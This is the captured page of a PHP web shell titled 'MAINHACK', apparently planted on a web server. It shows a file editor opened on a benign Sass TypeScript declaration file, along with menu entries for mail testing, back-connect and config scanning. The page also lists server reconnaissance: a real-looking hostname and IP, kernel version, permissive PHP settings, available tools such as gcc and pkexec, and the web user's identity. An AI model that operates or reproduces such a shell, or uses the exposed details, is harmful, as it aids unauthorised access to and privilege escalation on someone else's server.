[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.d.ts
import {SourceSpan} from './source_span'; export {SourceLocation} from './source_location'; export {SourceSpan} from './source_span'; /** * An object that can be passed to [[LegacySharedOptions.logger]] to control how * Sass emits warnings and debug messages. * * @example * * ```js * const fs = require('fs'); * const sass = require('sass'); * * let log = ""; * sass.renderSync({ * file: 'input.scss', * logger: { * warn(message, options) { * if (options.span) { * log += `${span.url}:${span.start.line}:${span.start.column}: ` + * `${message}\n`; * } else { * log += `::: ${message}\n`; * } * } * } * }); * * fs.writeFileSync('log.txt', log); * ``` * * @category Logger */ export interface Logger { /** * This method is called when Sass emits a warning, whether due to a [`@warn` * rule](https://sass-lang.com/documentation/at-rules/warn) or a warning * generated by the Sass compiler. * * If this is `undefined`, Sass will print warnings to standard error. * * @param message - The warning message. * @param options.deprecation - Whether this is a deprecation warning. * @param options.span - The location in the Sass source code that generated this * warning. * @param options.stack - The Sass stack trace at the point the warning was issued. */ warn?( message: string, options: { deprecation: boolean; span?: SourceSpan; stack?: string; } ): void; /** * This method is called when Sass emits a debug message due to a [`@debug` * rule](https://sass-lang.com/documentation/at-rules/debug). * * If this is `undefined`, Sass will print debug messages to standard error. * * @param message - The debug message. * @param options.span - The location in the Sass source code that generated this * debug message. */ debug?(message: string, options: {span: SourceSpan}): void; } /** * A namespace for built-in [[Logger]]s. * * @category Logger * @compatibility dart: "1.43.0", node: false */ export namespace Logger { /** * A [[Logger]] that silently ignores all warnings and debug messages. * * @example * * ```js * const sass = require('sass'); * * const result = sass.renderSync({ * file: 'input.scss', * logger: sass.Logger.silent, * }); * ``` */ export const silent: Logger; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002